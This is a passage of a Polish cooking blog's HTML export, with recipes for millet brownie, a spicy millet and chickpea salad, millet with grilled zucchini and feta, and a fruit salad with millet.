<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjYpQnb5lS55K7HSo96Pyaw_8AtxS1etzcgyPmPE25KzUNyRJOwCgOkeDnSTEVhwkNoxx1Ltsfzx_OdidOWoNETf3gI2DCJ9A4lv-hvL_Ybm4zNUtoVDjBUGxZlymQS2UKwYw7gFAeuCXh/s1600/3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjYpQnb5lS55K7HSo96Pyaw_8AtxS1etzcgyPmPE25KzUNyRJOwCgOkeDnSTEVhwkNoxx1Ltsfzx_OdidOWoNETf3gI2DCJ9A4lv-hvL_Ybm4zNUtoVDjBUGxZlymQS2UKwYw7gFAeuCXh/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z brokułem" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjYpQnb5lS55K7HSo96Pyaw_8AtxS1etzcgyPmPE25KzUNyRJOwCgOkeDnSTEVhwkNoxx1Ltsfzx_OdidOWoNETf3gI2DCJ9A4lv-hvL_Ybm4zNUtoVDjBUGxZlymQS2UKwYw7gFAeuCXh/s640/3.jpg" title="Kasza jaglana z brokułem" width="640" /></a></div>
</div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com5tag:blogger.com,1999:blog-4117404407927449930.post-37213019616003052612015-07-26T17:11:00.000+02:002017-09-26T22:28:32.644+02:00Brownie z kaszy jaglanej<div style="text-align: justify;">
Ciasta jeść lubię, gorzej już z pieczeniem - nie lubię. Mimo wszystko, przepis na brownie z kaszy jaglanej wydał się tak prosty, że nie potrzeba tu żadnej filozofii ani specjalnych zdolności manualnych. :) Ciasto jest wilgotne, bardzo kakaowe, smaczne i ma jedną wadę - znika z blachy w oka mgnieniu! :)<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlYC6cV4OTJdjpkRdB3Omu-g57fdrkxmrIcuWMwkbAeAqKWDwsxjQQDyZuf-V_MmK5B9nsr8BST3WiweTvcFLhysn9_X0DkQLrkycXD6PYCiB6z7PhckYMLxGeCDucJXLwaQ0ZIxtj1e_N/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Brownie z kaszy jaglanej" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlYC6cV4OTJdjpkRdB3Omu-g57fdrkxmrIcuWMwkbAeAqKWDwsxjQQDyZuf-V_MmK5B9nsr8BST3WiweTvcFLhysn9_X0DkQLrkycXD6PYCiB6z7PhckYMLxGeCDucJXLwaQ0ZIxtj1e_N/s640/1.jpg" title="Brownie z kaszy jaglanej" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
</div>
<a name='more'></a><br />
<br />
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 1/2 szklanki kaszy jaglanej</div>
<div style="text-align: justify;">
- 3 łyżki oleju</div>
<div style="text-align: justify;">
- 3 jajka</div>
<div style="text-align: justify;">
- 1/2 szklanki kakao</div>
<div style="text-align: justify;">
- 1/2 szklanki miodu lub cukru trzcinowego</div>
<div style="text-align: justify;">
- 1 łyżeczka proszku do pieczenia</div>
<div style="text-align: justify;">
- 1/4 szklanki mleka lub jogurtu naturalnego</div>
<div style="text-align: justify;">
- orzechy i płatki migdałowe do posypania</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Kaszę gotujemy wg <a href="http://kaszomania.blogspot.com/p/jak-ugotowac-kasze-jaglana.html" target="_blank">opisanego tutaj sposobu</a> i pozostawiamy do ostudzenia. ;-)</div>
<div style="text-align: justify;">
2. Ostudzoną kaszę jaglaną przekładamy do miski.</div>
<div style="text-align: justify;">
3. Dodajemy jajka, olej, kakao, miód lub cukier, proszek do pieczenia oraz mleko.</div>
<div style="text-align: justify;">
4. Całość dokładnie blendujemy na jednolitą masę.</div>
<div style="text-align: justify;">
5. Masę przekładamy na blachę o wymiarach ok 20 cm 30 cm.</div>
<div style="text-align: justify;">
6. Posypujemy orzechami włoskimi oraz płatkami migdałowymi.</div>
<div style="text-align: justify;">
7. Pieczemy przez ok 45 minut w temp. 180 ºC.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Jaglane brownie jest gotowe do spożycia. :)</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MHpygG6sToRGljPDNjCtyBuXijBLRyBWFR_TGoIlI4_djSdTwhx87U60GPMmAewWQ4tkVAuDJBZaHzGlZG4LgBVtfLB3TEvyavGvsy-ZGKha7hWZcffmZHYeUzEn5MyTk5C4FKQpsh24/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Brownie z kaszy jaglanej" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MHpygG6sToRGljPDNjCtyBuXijBLRyBWFR_TGoIlI4_djSdTwhx87U60GPMmAewWQ4tkVAuDJBZaHzGlZG4LgBVtfLB3TEvyavGvsy-ZGKha7hWZcffmZHYeUzEn5MyTk5C4FKQpsh24/s640/2.jpg" title="Brownie z kaszy jaglanej" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJxN09vDmOJfbMFnBgnegSeSlQJMGyyRDPgGzqBy_5Ko7yQo5cUqx706cp5tvJWcT0OlHOCHazrueSS8FzMHv-B6rW5Hfmjy9LTFvFwrcOYKkMzUmedEHzvSlaiYaoppuaxYOztTnmct4s/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Brownie z kaszy jaglanej" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJxN09vDmOJfbMFnBgnegSeSlQJMGyyRDPgGzqBy_5Ko7yQo5cUqx706cp5tvJWcT0OlHOCHazrueSS8FzMHv-B6rW5Hfmjy9LTFvFwrcOYKkMzUmedEHzvSlaiYaoppuaxYOztTnmct4s/s640/3.jpg" title="Brownie z kaszy jaglanej" width="640" /></a></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com35tag:blogger.com,1999:blog-4117404407927449930.post-50293817557971794722015-07-18T09:34:00.000+02:002017-09-26T22:29:08.965+02:00Jaglana sałatka z ciecierzycą - na ostro<div style="text-align: justify;">
Jaglana sałatka dla miłośników ostrego jedzenia. Niech was nie zmyli jej kolor, wygląda bardzo przyjaźnie, ale... pali dwa razy. :) A tak na poważnie, jeżeli ktoś nie toleruje zbyt dużej ilości chili, może oczywiście zredukować jego ilość. Nie ma tu majonezu, są same zdrowe składniki, a zatem jest to sałatka w wersji light.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR8gA10I4XaXdbzRrxfxLjxfNyrYn5z499e8mdXjCEN4Snw36SmXCWKXRywClcFRbMHPkE1LRv4LGXXw8WUO-X5-eSy3hGfIS20wkodX6Ikp_azEnDfO924sL5uVRfuj_EUQ0UGXU8xhqW/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z ciecierzycą - na ostro" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR8gA10I4XaXdbzRrxfxLjxfNyrYn5z499e8mdXjCEN4Snw36SmXCWKXRywClcFRbMHPkE1LRv4LGXXw8WUO-X5-eSy3hGfIS20wkodX6Ikp_azEnDfO924sL5uVRfuj_EUQ0UGXU8xhqW/s640/1.jpg" title="Jaglana sałatka z ciecierzycą - na ostro" width="640" /></a></div>
<br />
<br />
<a name='more'></a><br />
<br />
<b><br /></b>
<b>Składniki:</b><br />
- 3/4 szklanki kaszy jaglanej<br />
- pęczek szczypiorku<br />
- natka pietruszki<br />
- puszka ciecierzycy<br />
- 1 mała cebula<br />
- 3 papryki różnokolorowe<br />
- 3 łyżki koncentratu pomidorowego<br />
- 3 łyżki oliwy z oliwek<br />
- 3 łyżki sosu chili - Sambal Oelek<br />
- 1/2 łyżeczki soku z cytryny<br />
- sól<br />
- pieprz<br />
<br />
<b>Przygotowanie:</b><br />
<b><br /></b>
<br />
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną i pozostawiamy ją do całkowitego ostudzenia.</div>
<div style="text-align: justify;">
2. Szczypior oraz natkę pietruszki siekamy - dodajemy do przestudzonej kaszy.</div>
<div style="text-align: justify;">
3. Odsączamy ciecierzycę.</div>
<div style="text-align: justify;">
4. Cebulę kroimy na drobne kawałki, a papryki w kostkę.</div>
<div style="text-align: justify;">
5. Wszystkie ww. składniki dodajemy do kaszy i mieszamy.</div>
<div style="text-align: justify;">
6. Następnie dodajemy koncentrat pomidorowy, oliwę z oliwek, sos chili - Sambal Oelek oraz sok z cytryny.</div>
<div style="text-align: justify;">
7. Doprawiamy solą oraz pieprzem.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Sałatka gotowa. Jest smaczna i ma moc!</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicQudgk-R4dVZRS3pZvGFk-6PgIickseb5T_7OL71EM7x8Mydp3JUZgd6CCOkTQdFSwJ3ZtgE99y9roSG0tQPYTbjKzQ4tuwTmg5xf-pF7qbJkKhimQcrhVclWYY9czwvcw2JzOk03v_OB/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z ciecierzycą - na ostro" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicQudgk-R4dVZRS3pZvGFk-6PgIickseb5T_7OL71EM7x8Mydp3JUZgd6CCOkTQdFSwJ3ZtgE99y9roSG0tQPYTbjKzQ4tuwTmg5xf-pF7qbJkKhimQcrhVclWYY9czwvcw2JzOk03v_OB/s640/2.jpg" title="Jaglana sałatka z ciecierzycą - na ostro" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho_yDoS7wW1XNiEglBDy2dI-1lph119V-BzkgIlXV9H7lVmHRQYDExfWF5uSPr2gZnDWmaz_JckbWoMkEHz03ytmxBizvJVSGmXne0XD8bxMBL0XYVRJqMW4sRFsoLQ7MZdTbNXARw389I/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z ciecierzycą - na ostro" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho_yDoS7wW1XNiEglBDy2dI-1lph119V-BzkgIlXV9H7lVmHRQYDExfWF5uSPr2gZnDWmaz_JckbWoMkEHz03ytmxBizvJVSGmXne0XD8bxMBL0XYVRJqMW4sRFsoLQ7MZdTbNXARw389I/s640/1.jpg" title="Jaglana sałatka z ciecierzycą - na ostro" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com4tag:blogger.com,1999:blog-4117404407927449930.post-53844843276913009732015-07-11T19:17:00.002+02:002017-09-26T22:29:41.125+02:00Kasza jaglana z grillowaną cukinią, rukolą, serem feta i suszonymi pomidorami<div style="text-align: justify;">
Uwielbiam cukinię i żałuję, że poza sezonem jest ona cholernie droga. Można ją wykorzystać na wiele sposobów i nigdy się nie znudzi. A zatem, dziś sałatka, w której dominuje smak grillowanej cukinii. Najlepiej, jeśli byłaby to cukinia przyrządzona na prawdziwym grillu ogrodowym, ale jeśli dysponujecie tylko elektrycznym, to też może być.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CQdOmIA59VukFUXSuE_BcGEl7clilmP_T4JutI4-aw4b93gj4M1uZIqb0n_E58o4xXJHC2Tq8DBcjpe_fKVqf9DzI21mCJdTkhGHXr4S3XzSVH4QS7wipbbfkv4AQXbM-VB1XN1MKk66/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CQdOmIA59VukFUXSuE_BcGEl7clilmP_T4JutI4-aw4b93gj4M1uZIqb0n_E58o4xXJHC2Tq8DBcjpe_fKVqf9DzI21mCJdTkhGHXr4S3XzSVH4QS7wipbbfkv4AQXbM-VB1XN1MKk66/s640/1.jpg" width="640" /></a></div>
<br />
<a name='more'></a><br />
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 3 cukinie</div>
<div style="text-align: justify;">
- ok. 50 g rukoli</div>
<div style="text-align: justify;">
- 3/4 szklanki kaszy jaglanej</div>
<div style="text-align: justify;">
- kostka sera feta</div>
<div style="text-align: justify;">
- kilka suszonych pomidorów</div>
<div style="text-align: justify;">
- sól</div>
<div style="text-align: justify;">
- pieprz</div>
<div style="text-align: justify;">
- oliwa z oliwek</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną z odrobiną soli i pozostawiamy do całkowitego wystudzenia.</div>
<div style="text-align: justify;">
2. Myjemy i szumy rukolę, fetę kroimy w kostkę, a suszone pomidory na mniejsze kawałki.</div>
<div style="text-align: justify;">
3. Cukinię kroimy na plastry o grubości ok. 1 cm.</div>
<div style="text-align: justify;">
4. Do miski dodajemy ugotowaną kaszę jaglaną, rukolę, ser feta, pokrojone suszone pomidory, cukinię. Jeżeli uznacie, że cukinii jest zbyt dużo, możecie dodać mniej. :)</div>
<div style="text-align: justify;">
5. Całość delikatnie mieszamy, a następnie przyprawiamy pieprzem i solą oraz skrapiamy oliwą z oliwą (ok. 2 łyżek).</div>
<div style="text-align: justify;">
6. Ponownie mieszamy. Sałatka jest już gotowa do spożycia. :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOJAztwUW6aVzJHtjMLzbtEy4CTCO1SCdPuH59uxmnSDPhYFrAPbl2atVrSBnzOwTYXfiJRo4ZJlFFeJsSvLM7Zy3AGsxrJcT_T16pgBEXmE02y6XB4Qn2FKKabCJpKNrTme1JW6MMkIdi/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOJAztwUW6aVzJHtjMLzbtEy4CTCO1SCdPuH59uxmnSDPhYFrAPbl2atVrSBnzOwTYXfiJRo4ZJlFFeJsSvLM7Zy3AGsxrJcT_T16pgBEXmE02y6XB4Qn2FKKabCJpKNrTme1JW6MMkIdi/s640/2.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CQdOmIA59VukFUXSuE_BcGEl7clilmP_T4JutI4-aw4b93gj4M1uZIqb0n_E58o4xXJHC2Tq8DBcjpe_fKVqf9DzI21mCJdTkhGHXr4S3XzSVH4QS7wipbbfkv4AQXbM-VB1XN1MKk66/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CQdOmIA59VukFUXSuE_BcGEl7clilmP_T4JutI4-aw4b93gj4M1uZIqb0n_E58o4xXJHC2Tq8DBcjpe_fKVqf9DzI21mCJdTkhGHXr4S3XzSVH4QS7wipbbfkv4AQXbM-VB1XN1MKk66/s640/1.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com4tag:blogger.com,1999:blog-4117404407927449930.post-31352989528663334422015-07-05T10:16:00.000+02:002017-09-26T22:29:46.880+02:00Owocowa sałatka z kaszą jaglaną<div style="text-align: justify;">
Dziś sałatka, ale na słodko. Kolorowo i bardzo smacznie, z wykorzystaniem truskawek, malin, kiwi, banana, brzoskwini i pomarańczy. Pisząc tego posta, właśnie zajadam się resztkami tej sałatki. ;) Polecam mocno schłodzić deser i delektować się nim a trakcie upałów. :) Oprócz wymienionych w przepisie składników, dodawajcie inne owoce, którymi dysponujecie.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNJDaEEqXbP_MJeex0pNkPOGFtmlIyEhIRY99zaZa2CwKRzs6SJyBbHiZHuQat2prq6yPs7RSX8VQWrH83QjYIeGXQjHBeSFuFgDkWs7zHxu0ji97XtFhQo9ibQzAlZrZMIZMKfUCExrM4/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNJDaEEqXbP_MJeex0pNkPOGFtmlIyEhIRY99zaZa2CwKRzs6SJyBbHiZHuQat2prq6yPs7RSX8VQWrH83QjYIeGXQjHBeSFuFgDkWs7zHxu0ji97XtFhQo9ibQzAlZrZMIZMKfUCExrM4/s640/2.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<b><br /></b></div>
<div style="text-align: justify;">
<b></b></div>
<a name='more'></a><br />
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 3/4 szklanki kaszy jaglanej</div>
<div style="text-align: justify;">
- 1 banan</div>
<div style="text-align: justify;">
- 0,5 kg truskawek</div>
<div style="text-align: justify;">
- 1 brzoskwinia</div>
<div style="text-align: justify;">
- 3 kiwi</div>
<div style="text-align: justify;">
- 2 pomarańcze</div>
<div style="text-align: justify;">
- 250g malin</div>
<div style="text-align: justify;">
- sok z cytryny</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Wykonanie:</b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną i pozostawiamy do całkowitego wystudzenia.</div>
<div style="text-align: justify;">
2. Owoce, tj. banan, kiwi, truskawki, brzoskwini, pomarańcze kroimy na mniejsze kawałki.</div>
<div style="text-align: justify;">
3. Kaszę jaglaną mieszamy z ww. owocami + dodajemy maliny w całości. Delikatnie mieszamy.</div>
<div style="text-align: justify;">
4. Sałatkę skrapiamy sokiem z połówki cytryny i ponownie mieszamy.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Koniec. Prosto i smacznie. :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6aaORct8CkKNuNacUM00DeEUpKNc98lXzbhfGI_HiG7Gm559WVrPS873UMad2pYexL3HTGrmtawGHq3K5A0btt4TEZ99N7LpUEkD95ZR6skdCw5p8B5sx3cB0Lzk3bp8CXGRb9GdHdfId/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6aaORct8CkKNuNacUM00DeEUpKNc98lXzbhfGI_HiG7Gm559WVrPS873UMad2pYexL3HTGrmtawGHq3K5A0btt4TEZ99N7LpUEkD95ZR6skdCw5p8B5sx3cB0Lzk3bp8CXGRb9GdHdfId/s640/1.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<b><br /></b></div>
<div style="text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNJDaEEqXbP_MJeex0pNkPOGFtmlIyEhIRY99zaZa2CwKRzs6SJyBbHiZHuQat2prq6yPs7RSX8VQWrH83QjYIeGXQjHBeSFuFgDkWs7zHxu0ji97XtFhQo9ibQzAlZrZMIZMKfUCExrM4/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNJDaEEqXbP_MJeex0pNkPOGFtmlIyEhIRY99zaZa2CwKRzs6SJyBbHiZHuQat2prq6yPs7RSX8VQWrH83QjYIeGXQjHBeSFuFgDkWs7zHxu0ji97XtFhQo9ibQzAlZrZMIZMKfUCExrM4/s640/2.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com2